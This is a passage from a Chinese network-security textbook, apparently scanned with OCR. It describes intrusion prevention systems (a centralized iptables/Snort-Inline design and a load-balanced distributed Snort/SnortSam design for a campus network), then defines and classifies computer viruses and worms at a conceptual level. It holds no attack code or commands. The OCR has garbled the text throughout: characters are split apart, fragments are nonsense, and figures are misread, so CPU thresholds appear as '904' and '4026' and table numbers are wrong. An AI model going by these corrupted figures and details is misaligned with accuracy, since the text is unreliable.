式 , 所 以 一 旦 识别 出 入 侵 行 为 , NIPS 就 可 以 阻止 该 网 络 会 话 。 另 外 ,由 于 实时 在 线 ， 
NIPS 需要 具备 很 高 的 性 能 ,以 免 成 为 网 络 的 瓶颈 。 


3. IPS 技术 特征 


IPS 可 以 被 看 做 是 增加 了 主动 拦截 功能 的 IDS。 以 在 线 方式 接 入 网 络 时 就 是 一 台 IPS. 
而 以 旁 路 方式 接 入 网 络 时 就 是 一 台 IDS。 但 是 ,IPS 绝 不 仅仅 是 增加 了 主动 拦截 的 功能 ,而 
且 在 性 能 和 数据 包 的 分 析 能 力 方 面 都 比 IDS 有 了 质 的 提升 。 

IPS 技术 的 四 大 特征 见 表 5-18. 


35-108. IPS 技术 的 四 大 特征 


特征 描述 
只 有 以 企 入 模式 运行 的 IPS 设备 才能 够 实现 实时 的 安全 防护 ,实时 阻拦 所 有 可 
疑 的 数据 包 , 并 对 该 数据 流 的 剩余 部 分 进行 拦截 
IPS 必须 具有 深入 分 析 能 力 ,以 确定 哪些 恶意 流量 已 经 被 拦截 ,根据 攻击 类 型 . 策 
NEA 
深入 分 析 和 控制 oe inp o Pot 
rpm 高 质量 的 人 侵 特征 库 是 IPS 高 效 运行 的 必要 条 件 ,IPS 还 应 该 定期 升级 人 侵 特征 
iai PE ,并 快速 应 用 到 所 有 传感器 
高 效 处 理 能 力 | IPS 必须 具有 高 效 处 理 数 据 包 的 能 力 ,对 整个 网 络 性 能 的 影响 保持 在 最 低 水 平 


4. 集中 式 入 侵 防 御 技 术 


入侵 防御 系统 通过 组 合 IDS 和 防火 墙 的 功能 ,能 有 效 解 决 校园 网 安全 问题 。 

(1) 集中 式 IPS 的 网 络 拓 扑 结 构 

集中 式 IPS 的 网 络 拓扑 结构 如 图 5-54 所 示 ,运行 IPS 的 主机 有 3 块 网 卡 , 其 中 只 有 一 
块 网 卡 (eth2) 具 有 IP 地 址 (10. 10. 10. 1) ,主要 是 用 于 系统 控制 。 另 外 两 块 网 卡 (etho .ethl) 
被 配置 成 两 层 网 关 。 因 此 IPS 将 作为 网 桥 , 对 于 其 他 网 络 设备 和 主机 是 透明 的 。 
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C] 
Ropice z ia 192.168.0.0/24 
Internet eth0 ethl ue 
1 \ 校园 网 
/ y eth2 
AWIP 192.168.0.1 |10.10-10.1 = 
10.10.10.2 


图 5-54 集中 式 IPS 的 网 络 拓扑 结构 


集中 式 IPS 是 基于 两 层 网 关 技术 (网 桥 ) 而 设计 的 ,拥有 3 块 以 太 网 网 卡 ,其 中 etho 与 
外 网 相连 ,ethl 与 内 网 相连 。 接 口 eth0 .ethl 均 工作 在 网 桥 模式 ,没有 IP 地 址 ,这 样 不 但 可 
以 捕获 到 来 自 Internet 的 攻击 ,也 可 以 捕获 到 来 自 校园 网 的 攻击 。 另 外 远程 攻击 者 很 难 发 
H IPS 的 存在 ,因此 不 会 发 现 它 的 攻击 正在 被 监控 。 同 时 ,IPS 还 拥有 另外 一 个 接口 eth2， 
它 有 一 个 IP 地 址 (10. 10. 10. D ,目的 是 方便 IPS 的 远程 管理 和 IDS 规则 集 的 及 时 更 新 。 要 
求 这 个 接口 要 有 比较 高 的 安全 性 ,只 允许 特定 IP 地 址 和 端口 的 数据 包 通 过 。 

集中 式 IPS 是 网 关 型 设备 , 串 接 在 网 络 的 出 口 处 能 够 发 挥 其 最 大 的 作用 ,比较 简单 的 部 
署 方 案 是 串 接 在 网 络 结构 中 防火 墙 的 位 置 , 这 样 所 有 的 网 络 流 都 要 经 过 IPS。 集 中 式 IPS 
分 析 这 些 网 络 流 ,根据 分 析 结 果 拦 截 或 允许 网 络 流 。 

具体 设计 一 个 集中 式 IPS 涉及 的 关键 技术 有 : 数据 控制 .数据 捕获 和 报警 机 制 。 集 中 
式 IPS 使 用 Linux 自 带 的 iptables 作为 防火 墙 ,并 安装 了 IDS Snort、 网 络 人 侵 防 护 系 统 
Snort-Inline 和 报警 工具 Swatch, 

CD 数据 控制 。 网 络 入 侵 防 护 系统 Snort-Inline 是 IDS Snort 的 修改 版 ,可 经 由 libipq 接 
收 来 自 iptables 的 数据 包 , 然 后 根据 Snort 规则 集 决定 iptables 对 数据 包 的 处 理 策略 ,从 而 
可 以 拦截 攻击 流 。 

© 数据 捕获 。 数 据 捕 获 就 是 把 所 有 的 黑客 活动 记录 下 来 ,然后 通过 分 析 这 些 活动 来 了 
解 黑客 人 侵 的 工具 、 策 略 以 及 动机 。 为 了 在 不 被 黑客 发 现 的 情况 下 捕获 尽 可 能 多 的 数据 ,并 
保证 这 些 数据 的 完整 性 ,IPS 采取 了 防火 墙 日 志和 IDS 日 志 的 数据 捕获 机 制 。 

防火 墙 日 志 : 防火 墙 iptables 作为 数据 捕获 的 第 一 层 , 可 以 记录 所 有 出 入 IPS 的 连接 。 

IDS 日 志 : 通过 配置 文件 snort. conf,IDS Snort 可 以 从 数据 链 路 层 收集 所 有 的 网 络 数 
据 包 ,并 以 MySQL 数据 库 或 Tcp2dump 的 格式 保存 以 便于 数据 分 析 。 

C 报警 机 制 。 一 旦 有 黑客 的 攻击 ,能 够 及 时 通知 管理 员 是 非常 重要 的 。 在 IPS 上 安装 
监控 软件 Swatch 来 实现 自动 报警 功能 。Swatch 通过 在 iptables 的 日 志文 件 中 匹配 关键 
F ,来 确定 是 否 有 黑客 攻击 校园 网 ,一 旦 匹配 成 功 ,Swatch 将 会 把 E-mail 发 送 到 管理 员 的 
邮箱 。 默 认 情 况 下 ,E-mail 的 内 容 会 包括 攻击 发 生 的 时 间 、 源 IP 地 址 .目的 IP 地 址 和 端口 
等 信息 。 

(2) 集中 式 IPS 的 缺陷 

集中 式 人 侵 防御 技术 需要 面 对 很 多 挑战 ,其 中 主要 有 3 点 : 单 点 故障 、 性 能 瓶颈 , 误 报 
和 漏 报 。 

CD 单 点 故障 。 集 中 式 和 人 侵 防 御 系统 必须 以 嵌入 模式 工作 在 网 络 中 ,而 这 就 可 能 造成 瓶 
颈 问题 或 单 点 故障 。 如 果 IDS 出 现 故 障 , 最 坏 的 情况 也 就 是 造成 某 些 攻击 无 法 被 检测 到 ， 
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而 集中 式 IPS 设备 出 现 问题 ,就 会 严重 影响 网 络 的 正常 运转 。 如 果 集 中 式 IPS 出 现 故 障 而 
关闭 ,用户 就 会 面 对 一 个 由 IPS 造成 的 拒绝 服务 问题 ,所 有 客户 都 将 无 法 访问 网 络 提供 的 
服务 。 

@ 性 能 瓶颈 。IDS 因为 是 旁 路 工作 ,对 实时 性 要 求 不 高 ,而 集中 式 IPS 串 接 在 网 络 上 ， 
而 且 基 于 应 用 层 检 测 。 这 意味 着 所 有 与 系统 应 用 相关 的 访问 ,都 要 经 过 集中 式 IPS 过 滤 ,这 
样 就 要 求 必须 像 网 络 设备 一 样 对 数据 包 做 快速 转发 。 因 此 ,集中 式 IPS 需要 在 不 影响 检测 
效率 的 基础 上 做 到 高 性 能 的 转发 。 即 使 集中 式 IPS 设备 不 出 现 故障 , 它 仍然 是 一 个 潜在 的 
网 络 瓶 颈 ,不 仅 会 增加 滞后 时 间 ,而 且 会 降低 网 络 的 效率 。 

C 误 报 和 漏 报 。 误 报 率 和 漏 报 率 也 需要 集中 式 IPS 认真 面 对 。 在 繁忙 的 网 络 当 中 ,如 
果 以 每 秒 需要 处 理 10 条 警报 信息 来 计算 ,IPS 每 小 时 至 少 需要 处 理 36 000 条 警报 ,一 天 就 
是 864 000 条 。 一 旦 生成 了 警报 ,最 基本 的 要 求 就 是 集中 式 IPS 能 够 对 警报 进行 有 效 处 理 。 
如 果 入 侵 特征 编写 得 不 是 十 分 完善 ,那么 就 会 导致 误 报 ,合法 流量 有 可 能 被 意外 拦截 。 


5.9.2 实例 : 入 侵 防 御 系 统 的 搭建 


为 克服 集中 式 入 侵 防 御 技 术 带 来 的 缺陷 ,提出 了 一 种 新 的 负载 均衡 的 分 布 式 入 侵 防御 
技术 ,该 技术 的 主要 特点 是 将 入 侵 检测 任务 分 散 到 多 台 主 机 ,将 入 侵 拦 截 任务 分 散 到 每 台 主 
机 和 服务 器 。 这 种 设计 的 优点 是 : 能 够 很 好 地 解决 集中 式 入 侵 防御 技术 带 来 的 单 点 故障 、 
性 能 瓶颈 问题 。 另 外 ,入 侵 检测 任务 的 分 散 也 会 大 大 降低 漏 报 率 。 


1. 负载 均衡 的 分 布 式 IPS 的 网 络 拓扑 结构 


负载 均衡 的 分 布 式 IPS 的 网 络 拓扑 结构 如 图 5-55 所 示 。 负 载 均 衡 的 分 布 式 IPS 由 
3 类 系统 组 成 。 


= || = ] Control 
Center T 
pams SPAN port 
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图 5-55 负载 均衡 的 分 布 式 IPS 的 网 络 拓扑 结构 


第 1 类 : IDS/IPS。 
该 系统 是 带 有 SnortSam IPS 输出 插件 的 Snort IDS ,并且 具 有 两 块 网 卡 ,其 中 一 块 设置 


GEI 
ANGE 
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为 混杂 模式 (Promiscuous Interface) HJ IP 地 址 ; 另 一 块 有 IP 地 址 ,但 非 混 杂 模 式 。 

在 该 网 络 拓扑 中 ,有 两 台 IDS/IPS. 它 们 都 从 交换 机 的 SPAN port 端口 接收 进出 校园 
网 的 所 有 数据 ,但 是 左边 的 IDS/IPS 仅 负 责 处 理 进入 校园 网 的 数据 ,而 右边 的 IDS/IPS fX 
负责 处 理 出 校园 网 的 数据 ,这 是 最 简单 的 负载 均衡 策略 。 一 种 比较 复杂 但 高 效 的 负载 均衡 
策略 如 下 。 
如 果 A 的 CPU 利用 率 大 于 904 B. B 的 CPU 利用 率 小 于 4026 ,并且 此 刻 A 负责 检测 
所 有 的 数据 包 , 则 进行 负载 均衡 ,让 A 负责 检测 TCP、UDP 数据 包 , 让 B 负责 检测 ICMP 和 
其 他 数据 包 。 
WÈ A 的 CPU 利用 率 大 于 90% H. B 的 CPU 利用 率 小 于 60% ,并且 此 刻 A 负责 检测 
TCP UDP 数据 包 , 则 进行 负载 均衡 ,让 A 负责 检测 TCP 数据 包 , 让 B 负责 检测 UDP, 
ICMP 和 其 他 数据 包 。 
如 果 A 的 CPU 利用 率 大 于 90% 且 B 的 CPU 利用 率 小 于 6594 ,并 且 此 刻 A 负责 检测 
TCP 数据 包 , 则 进行 负载 均衡 ,让 A 负责 检测 包 尺 寸 大 于 TCP 包 平 均值 的 TCP 数据 包 , 让 
B 负责 检测 包 尺寸 小 于 TCP 包 平 均值 的 TCP 数据 包 .UDP ICMP 和 其 他 数据 包 。 

第 2 类 : Control Center。 

该 系统 安装 了 BASE. Apache, MySQL. 

第 3 类 : FW agents. 

网 络 中 能 够 运行 带 有 iptables 的 SnortSam FW agents 的 服务 器 和 普通 主机 。 

这 种 分 布 式 IPS 系统 不 会 存在 单 点 故障 的 问题 ,并 且 由 于 使 用 了 两 台 IDS/IPS 处 理 进 
出 校园 网 的 数据 包 ,并且 采用 了 负载 均衡 技术 ,而 且 拦 截 攻击 的 模块 分 布 于 不 同 的 主机 上 ， 
因此 能 够 很 好 地 解决 性 能 瓶颈 问题 ,大 大 降低 漏 报 率 。 


2. 分 布 式 IPS 检测 及 阻止 恶意 攻击 的 过 程 


(1) 系统 整合 

IDS/IPS 能 够 运行 Snort 和 SnortSam., 监控 所 有 进出 校园 公 网 上 的 网 络 流 ,产生 
Snort 报警 ,并 且 能 够 引发 SnortSam 的 相应 操作 。IDS/IPS 系统 具有 两 块 网 卡 , 第 一 块 设 
置 为 混杂 模式 且 无 IP 地 址 ;第 二 块 有 IP 地 址 ,但 非 混 杂 模 式 。 第 二 块 网 卡 用 来 向 分 布 式 代 
理 和 Center IDS/IPS 发 送 数据 ,并 且 还 用 来 对 该 IDS/IPS 进行 远程 管理 和 监控 。 所 以 该 
IDS/IPS 的 主要 功能 是 监控 校园 公 网 , 向 Center IDS/IPS 发 送 报警 信息 , 向 分 布 式 
SnortSam 代理 (FW agents) 发 送 SnortSam 拦截 请 求 。 

Control Center 系统 运行 BASE, MySQL 和 Apache, 该 系统 接收 并 记录 所 有 Snort 报 
警 和 SnortSam 的 操作 信息 ,还 提供 以 网 页 方式 查看 SnortSam 日 志 的 服务 。Control 
Center 系统 具有 一 块 网 卡 , 设 置 为 混杂 模式 且 有 IP 地 址 。 

任何 由 Snort IDS 检测 到 的 攻击 都 将 触发 SnortSam 输出 插件 ,向 校园 网 上 所 有 的 
SnortSam 防火 墙 代 理 (FW agents) 发 送 拦截 请 求 。 该 拦截 请 求 主要 包含 该 IDS/IPS 的 源 
IP 地 址 和 攻击 者 的 源 TP 地 址 。 

如 果 攻 击 者 通过 嗅 探 本 网 络 发 现 他 的 IP 地 址 出 现在 IP 数据 包 的 载荷 中 ,他 将 会 明白 
他 的 攻击 被 检测 并 且 也 会 知道 该 IDS/IPS 的 IP 地 址 。 为 避免 这 种 情况 ,所 有 的 SnortSam 
拦截 请 求 都 被 加 密 。SnortSam 内 建 加 密 功能 ,采用 twofish 加 密 算 法 ,对 称 加 密 密 钥 由 


ey 
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SnortSam 输出 插件 和 SnortSam 防火 墙 代 理 使 用 ,并 且 被 存放 在 SnortSam 配置 文件 中 。 

需要 IPS 系统 保护 的 主机 需要 运行 iptables 防火 墙 和 SnortSam 防火 墙 代理 。 
SnortSam 包括 iptables 防火 墙 代理 , 它 可 以 自动 更 新 iptables 防火 墙 规则 , 当 IDS/IPS 检 
测 到 恶意 网 络 流 时 ,这 些 规则 用 于 拦截 这 些 恶 意 网 络 流 。 通 过 这 种 技术 ,服务 器 和 主机 就 可 
以 根据 需要 打开 某 些 端口 来 提供 相应 的 服务 ,比如 : http sql, telnet 和 ssh 等 。 

运行 在 主机 上 的 SnortSam 防火 墙 代 理 C(FW agents) 有 一 个 配置 文件 ,该 文件 告诉 
SnortSam 代理 应 该 接收 哪个 IDS/IPS 的 拦截 请 求 ,并 且 包 含 了 加 密 算法 使 用 的 密 钥 。 

(2) 检测 及 阻止 恶意 攻击 的 过 程 

第 1 步 : 端口 扫描 。 如 图 5-56 红线 所 示 ,hacker 对 校园 网 的 一 台 服 务 器 进行 端口 扫 
描 , 同 时 该 网 络 流 被 两 台 IDS/IPS 系统 获取 。 
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图 5-56 检测 及 阻止 恶意 攻击 的 过 程 


第 2 步 : 发 送 拦截 请 求 。 如 图 5-56 黄 线 所 示 ,左边 IDS/IPS 系统 检测 到 hacker 对 一 台 
服务 器 进行 端口 扫描 ,SnortSam 输出 插件 向 校园 网 上 所 有 的 SnortSam 防火 墙 代理 (FW 
agents) 发 送 拦截 请 求 。 

第 3 步 : 丢弃 数据 包 。 如 图 5-56 红色 星 状 所 示 , 各 主机 上 的 iptables 将 攻击 者 发 来 的 
e E SEL 

$84 35. MySQL 接收 报警 信息 。 如 图 5-56 绿 线 所 示 , MySQL 接收 并 记录 左边 
IDS/IPS 系统 (根据 负载 均衡 策略 ,此 时 的 入 侵 数据 包 由 左边 IDS/IPS 系统 检测 ) 的 
Snort 报警 和 SnortSam 的 操作 信息 。 


3. 校园 网 中 负载 均衡 的 分 布 式 入 侵 防御 技术 的 应 用 


IPS 是 保护 网 络 系统 的 重要 组 成 部 分 。IPS 基于 IDS, 一 旦 IDS 检测 到 入 侵 行为 就 会 采 
取 一 些 措 施 ,通常 是 实时 进行 拦截 。 如 图 5-57 所 示 给 出 了 负载 均衡 的 分 布 式 入 侵 防御 技术 
在 校园 网 中 的 应 用 。 

由 于 校园 网 是 一 个 分 层次 的 拓扑 结构 ,所 以 网 络 的 安全 防护 最 好 也 采用 分 层次 的 拓扑 
防护 措施 。 完 整 的 校园 网 安全 解决 方案 应 该 覆盖 网 络 的 各 个 层次 ,并 且 与 安全 管理 相 结合 。 
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图 5-57 负载 均衡 的 分 布 式 IPS 的 校园 网 网 络 拓扑 结构 


校园 网 由 核心 层 ,汇聚 层 和 接 入 层 构 成 。 为 保证 整个 网 络 的 安全 性 ,在 网 络 的 入 口 处 设 
置 防火 墙 , 提 供 邮 件 过 滤 系 统 等 安全 措施 。 


5.10 恶意 软件 


5.10.1 计算 机 传统 病毒 的 基本 概念 


如 今 病毒 和 木马 是 互联 网 中 最 热门 的 话题 ,病毒 和 木马 也 让 网 民 们 闻 毒 色 变 。 
1. 传统 计算 机 病毒 的 定义 


病毒 一 词 源 自 医学 界 , 后 来 被 用 在 计算 机 中 。 计 算 机 病毒 是 一 组 计算 机 指令 或 者 程 
序 代码 ,能 自我 复制 ,通常 嵌入 在 计算 机 程序 中 ,能 够 破坏 计算 机 功能 或 者 毁坏 数据 , 影 
响 计 算 机 的 使 用 。 像 生物 病毒 一 样 ,计算机 病毒 有 独特 的 复制 能 力 ,可 以 很 快 地 蔓延 , 它 
们 能 把 自身 附着 在 各 种 类 型 的 文件 上 。 一 旦 它 处 于 运行 状态 , 它 就 可 以 感染 其 他 程序 或 
文档 。 当 文件 被 复制 或 从 一 个 用 户 传送 到 另 一 个 用 户 时 ,它们 就 随同 文件 一 起 蔓延 开 
来 。 当 某 种 条 件 成 熟 时 ,计算 机 病毒 就 会 自我 复制 ,并 以 磁盘 、 光 盘 、U 盘 和 网 络 等 作为 


媒介 进行 传播 。 


20 世纪 80 年 代 早期 出 现 了 第 一 批 计算 机 病毒 。 随 着 更 多 的 人 开始 研究 病毒 技术 , 病 


毒 的 数量 ,被 攻击 的 平台 数 以 及 病毒 的 复杂 性 和 多 样 性 都 开始 显著 提高 。 
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2. 传统 计算 机 病毒 的 特性 


表 5-19 列 出 了 传统 计算 机 病毒 具有 的 特性 。 
表 5-19 传统 计算 机 病毒 的 特性 


特 性 说 明 
与 其 他 合法 程序 一 样 ,病毒 是 一 段 可 执行 程序 ,但 不 是 一 个 完整 的 程序 ,而 是 寄 

可 执行 性 生 在 其 他 可 执行 程序 上 , 当 病 毒 运行 时 ,使 与 合法 程序 争夺 系统 的 控制 权 , 往 往 
会 造成 系统 崩溃 ,导致 计算 机 瘫痪 

传染 性 病毒 通过 各 种 渠道 从 已 被 感染 的 计算 机 扩散 到 其 他 机 器 上 

潜伏 性 一 些 编制 精巧 的 病毒 程序 ,进入 系统 之 后 不 马上 发 作 , 而 是 隐藏 在 合法 文件 中 ， 
难以 发 现 , 一 旦 时 机 成 熟 , 就 四 处 繁殖 .扩散 

可 触发 性 病毒 具有 预定 的 触发 条 件 , 可 能 是 时 间 、 日 期 .文件 类 型 或 某 些 特定 数据 等 。 如 
不 满足 ,继续 潜伏 

针对 性 有 些 病 毒 是 针对 特定 的 操作 系统 或 特定 的 计算 机 的 


3. 传统 计算 机 病毒 的 分 类 


(1) 按 计 算 机 病毒 攻击 的 系统 分 类 ,具体 见 表 5-20。 
35-20 ” 按 计算 机 病毒 攻击 的 系统 分 类 
被 攻击 系统 说 y 
DOS 这 类 病毒 出 现 得 最 早 .最 多 ,变种 也 最 多 
Windows Windows 是 病毒 攻击 的 对 象 , 首 例 破坏 计算 机 硬件 的 CIH 病毒 就 是 一 个 Windows 病毒 
UNIX/Linux | UNIX/Linux 是 病毒 攻击 的 主要 对 象 


D 按 计算 机 病毒 的 寄生 方式 分 类 ,具体 见 表 5-21。 
表 5-21 按 计算 机 病毒 寄生 方式 分 类 

寄生 方式 说 明 
文件 型 病毒 主要 以 感染 文件 扩展 名 为 . COM.. EXE 和 . OVL 等 可 执行 程序 为 主 ,大 多 数 
文件 型 病毒 都 是 常 驻 在 内 存 中 的 ,文件 型 病毒 分 为 源码 型 病毒 .嵌入 型 病毒 和 外 壳 型 病毒 
源码 型 病毒 攻击 高 级 语言 编写 的 程序 ,该 病毒 在 高 级 语言 所 编写 的 程序 编译 前 插入 到 源 
程序 中 ,经 编译 成 为 合法 程序 的 一 部 分 
嵌入 型 病毒 是 将 自身 嵌入 到 现 有 程序 中 .把 计算 机 病毒 的 主体 程序 与 其 攻击 的 对 象 以 插 
入 的 方式 链接 。 这 种 计算 机 病毒 编写 难度 较 大 .不 过 ,一 旦 侵入 程序 体 后 也 较 难 消除 


外 这 型 病毒 是 目前 流行 的 文件 型 病毒 ,这 类 病毒 寄生 在 宿主 程序 的 前 面 或 后 面 ,并 修改 程 
外 过 型 病毒 | 序 的 第 一 条 指令 ,使 病毒 先 于 宿主 程序 执行 ,这 样 随 着 宿主 程序 的 使 用 而 传染 扩散 ,这 种 
病毒 最 为 常见 ,易于 编写 ,也 易于 发 现 


这 种 病毒 在 运行 时 .用 自己 的 逻辑 部 分 取代 操作 系统 的 合法 程序 模块 ,根据 病毒 自身 的 特 
点 和 被 替代 的 操作 系统 中 合法 程序 模块 在 操作 系统 中 运行 的 地 位 与 作用 ,以 及 病毒 取代 
操作 系统 的 取代 方式 等 ,对 操作 系统 进行 破坏 。 这 种 病毒 具有 很 强 的 破坏 力 , 可 以 导致 整 
个 系统 的 瘫痪 。 通 常 ,这 类 病毒 作为 操作 系统 的 一 部 分 ,只 要 计算 机 开始 工作 ,病毒 就 处 
在 随时 被 触发 的 状态 


文件 型 病毒 


源码 型 病毒 


拒 入 型 病毒 


操作 系统 型 
病毒 
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Er 
寄生 方式 说 明 
引导 型 病毒 是 一 种 在 ROM BIOS 运行 之 后 ,系统 引导 时 执行 的 病毒 。 引 导 型 病毒 会 去 改 
写 ( 即 感染 磁盘 上 引导 扇 区 的 内 容 , 或 者 改写 硬盘 上 的 分 区 表 (FAT)。 引 导 型 病毒 主要 
引导 型 病毒 | 是 用 病毒 的 全 部 或 部 分 代码 代替 正常 的 引导 记录 ,而 将 正常 的 引导 记录 转移 到 磁盘 的 其 
他 地 方 。 由 于 引导 区 是 磁盘 能 正常 使 用 的 先决 条 件 , 因 此 ,这 种 病毒 在 运行 的 一 开始 (如 
系统 启动 ) 就 能 获得 控制 权 , 其 传染 性 较 大 
混合 型 病毒 是 指 具有 引导 型 病毒 和 文件 型 病毒 寄生 方式 的 计算 机 病毒 ,所 以 它 的 破坏 性 
更 大 ,传染 的 机 会 也 更 多 ,消除 起 来 也 更 困难 
宏 病 毒 是 一 种 寄存 在 文档 或 模板 宏 中 的 计算 机 病毒 。 一 旦 打开 这 样 的 文档 ,其 中 的 宏 就 
会 被 执行 ,于 是 宏 病 毒 就 会 被 激活 ,转移 到 计算 机 上 ,并 驻 留 在 Normal 模板 上 。 从 此 以 后 
所 有 自动 保存 的 文档 都 会 感染 上 这 种 宏 病 毒 ,如 果 其 他 用 户 打 开 了 感染 病毒 的 文档 , 宏 病 
毒 又 会 转移 到 该 用 户 的 计算 机 上 


混合 型 病毒 


(3) 按 计算 机 病毒 的 破坏 情况 分 类 ,具体 见 表 5-22, 
X522 按 计算 机 病毒 破坏 情况 分 类 

类 型 说 明 
良性 计算 机 病毒 是 指 不 包含 对 计算 机 系统 产生 直接 破坏 作用 代码 的 程序 。 这 类 
良性 计算 机 病毒 ”| 病毒 为 了 表现 其 存在 ,只 是 不 停 地 进行 扩散 ,从 一 台 计 算 机 传染 到 另 一 台 , 并 不 
破坏 计算 机 内 的 数据 
恶性 计算 机 病毒 是 指 包含 对 计算 机 系统 产生 直接 破坏 作用 代码 的 程序 ,病毒 发 
作 时 ,不 是 摧毁 分 区 表 而 导致 无 法 启动 .就 是 直接 格式 化 硬盘 


恶性 计算 机 病毒 


(4) 按 计算 机 病毒 激活 的 时 间 分 类 ,具体 见 表 5-23。 
表 5-23 按 计算 机 病毒 激活 的 时 间 分 类 


类 型 说 明 
定时 有 的 病毒 会 潜伏 一 段 时 间 ,等 到 它 所 设置 的 时 间 才 发 作 
随机 随机 病毒 一 般 不 是 由 时 钟 来 激活 的 


(5) 按 计算 机 病毒 的 传播 媒介 分 类 ,具体 见 表 5-24。 
3524 按 计算 机 病毒 的 传播 媒介 分 类 


类 型 说 明 


单机 病毒 的 载体 是 磁盘 ,常见 的 是 病毒 从 软盘 .光盘 或 U 盘 传人 硬盘 ,感染 
系统 ,然后 再 传染 其 他 软盘 或 U 盘 , 进 而 传染 其 他 系统 


网 络 病毒 网 络 病毒 的 传播 媒介 是 网 络 ,因此 这 种 病毒 的 传染 能 力 更 强 


单机 病毒 


4. 传统 计算 机 病毒 传染 的 前 提 条 件 


计算 机 病毒 传染 的 前 提 条 件 是 : 计算 机 系统 的 运行 .磁盘 的 读 写 。 
只 要 计算 机 系统 运行 ,就 会 有 磁盘 读 写 操作 ,因此 病毒 传染 的 两 个 条 件 很 容易 满足 。 计 
算 机 系统 运行 为 病毒 驻 留 内 存 创造 了 条 件 ,病毒 传染 的 第 一 步 是 驻 留 内 存 , 然 后 寻找 传染 机 
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会 ,寻找 可 攻击 的 对 象 ,判断 条 件 是 否 满足 ,如 果 满 足 则 进行 传染 ,将 病毒 写 入 磁盘 系统 。 
5. 目前 反 病毒 的 成 熟 技 术 


目前 反 病毒 的 成 熟 技 术 是 “特征 码 查 杀 ”, 工 作 流 程 是 : 截获 病毒 .分 析 病 毒 并 且 提 取 特 
征 码 、 升 级 病毒 库 。 尽 管 这 种 技术 已 经 非常 成 熟 可 靠 ,但 是 随 着 新 病毒 的 快速 出 现 , 使 得 这 
种 被 动 式 的 杀毒 技术 总 是 落后 于 新 病毒 的 产生 。 


5.10.2 蠕虫 病毒 


从 1988 年 11 月 2 H Robert Morris Jr 编写 的 第 一 个 基于 BSD UNIX 的 Internet 
Worm 蠕虫 病毒 以 来 ,计算 机 蠕虫 病毒 以 其 快速 .多样 化 的 传播 方式 不 断 给 网 络 世界 带 来 灾 
害 ,Internet 安全 威胁 事件 每 年 以 指数 增长 ,特别 是 网 络 的 迅速 发 展 使 得 蠕虫 造成 的 危害 日 
益 严重 ,比如 2001 年 7、8 月 份 的 Code Red 蠕虫 ,在 爆发 后 的 9 小 时 内 就 攻击 了 25 万 台 计 
算 机 。2003 年 8 月 12 号 的 “冲击 波 ”"Blaster 蠕虫 的 大 规模 爆发 也 给 互联 网 用 户 带 来 了 极 大 
的 损失 。 


1. 蠕虫 病毒 的 基本 概念 


蠕虫 是 计算 机 病毒 的 一 种 ,是 利用 计算 机 网 络 和 安全 漏洞 来 复制 自身 的 一 小 段 代 码 ,里 
虫 代码 可 以 扫描 网 络 来 查找 具有 特定 安全 漏洞 的 其 他 计算 机 ,然后 利用 该 安全 漏洞 获得 计 
算 机 的 部 分 或 全 部 控制 权 , 并 且 将 自身 复制 到 计算 机 中 ,然后 又 从 新 的 位 置 开始 进行 复制 。 
BS 蠕 贝 是 互联 网 最 大 的 威胁 ,因为 蠕虫 在 自我 复制 的 时 候 将 会 耗 尽 计算 机 的 
处 理 器 时 间 以 及 网 络 的 带宽 ,并 且 它 们 通常 还 有 一 些 恶 意 目 的 ,蠕虫 的 超大 规模 爆发 能 使 
网 络 逐 渐 陷 于 竣 痰 状态 。 如 果 有 一 天 发 生 网 络 战争 ,蠕虫 将 会 是 网 络 世 界 中 的 原子 弹 。 


2. 蠕虫 和 其 他 病毒 的 区 别 


蠕虫 与 其 他 病毒 的 最 大 不 同 在 于 它 在 没有 人 为 干预 的 情况 下 能 不 断 地 进行 自我 复制 和 
传播 。 表 5-25 列 出 了 病毒 和 蠕虫 的 主要 区 别 。 


表 5-25 ”蠕虫 和 其 他 病毒 的 区 别 


区 别 说 明 
存在 形式 病毒 是 寄生 体 ,蠕虫 是 独立 体 
复制 形式 病毒 是 插入 到 宿主 文件 ,蠕虫 是 自身 的 复制 
传染 机 制 病毒 是 利用 宿主 程序 的 运行 ,蠕虫 是 利用 系统 漏洞 
触发 传染 病毒 是 由 计算 机 的 使 用 者 触发 ,蠕虫 是 由 程序 自身 触发 
攻击 目标 病毒 主要 攻击 本 地 文件 ,蠕虫 主要 攻击 网 络 上 的 其 他 计算 机 
影响 重点 病毒 主要 影响 文件 系统 ,蠕虫 主要 影响 网 络 性 能 和 系统 性 能 
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3. 蠕虫 的 工作 流程 


蠕虫 程序 的 工作 流程 可 以 分 为 漏洞 扫描 、 攻 击 、 传 染 、 现 场 处 理 4 个 阶段 。 蠕 虫 程序 随 
机 选取 某 一 段 IP 地 址 (也 可 以 采取 其 他 的 IP 生成 策略 ) ,对 这 一 地 址 段 上 的 主机 进行 扫描 ， 
扫描 到 有 漏洞 的 计算 机 系统 后 ,就 开始 利用 自身 的 破坏 功能 获取 主机 的 相应 权限 ,并 且 将 里 
虫 主体 复制 到 目标 主机 。 然 后 ,蠕虫 程序 进入 被 感染 的 系统 ,对 目标 主机 进行 现场 处 理 , 现 
场 处 理 部 分 的 工作 包括 隐藏 和 信息 搜集 等 。 同 时 ,蠕虫 程序 生成 多 个 程序 副本 ,重复 上 述 流 
程 ,将 蠕虫 程序 复制 到 新 主机 并 启动 。 


4. 蠕虫 的 行为 特征 


通过 对 蠕虫 工作 流程 的 分 析 ,归纳 出 了 它 的 行为 特征 , 见 表 5-26。 
表 5-26 ”蠕虫 的 行为 特征 

特 征 说 明 

当 蠕 虫 被 释放 后 ,从 搜索 漏洞 ,到 利用 搜索 结果 攻击 系统 ,再 到 复制 副本 ,整个 流 
程 全 由 蠕虫 自身 自动 完成 。 蠕 虫 在 本 质 上 已 经 演变 为 黑客 入 侵 的 自动 化 工具 
任何 计算 机 系统 都 存在 各 种 各 样 的 漏洞 ,有 的 是 操作 系统 本 身 的 问题 ,有 的 是 应 
利用 软件 漏洞 用 服务 程序 的 问题 有 的 是 网 络 管理 人 员 的 配置 问题 ,这 些 漏洞 使 得 蠕虫 获得 被 
攻击 计算 机 系统 的 相应 权限 ,使 得 进行 复制 和 传播 成 为 可 能 


在 扫描 网 络 计算 机 的 过 程 中 ,蠕虫 需要 判断 其 他 计算 机 是 否 存在 、 判 断 特定 应 用 
服务 是 否 存在 、 判 断 漏洞 是 否 存在 等 ,这 不 可 避免 地 会 产生 附加 的 网 络 数据 流 
量 。 同 时 蠕虫 的 副本 还 在 不 同 机 器 之 间 被 传递 ,因此 会 产生 巨 量 的 网 络 流量 ,最 
终 导致 整个 网 络 的 次 痪 ,造成 巨大 的 经 济 损失 

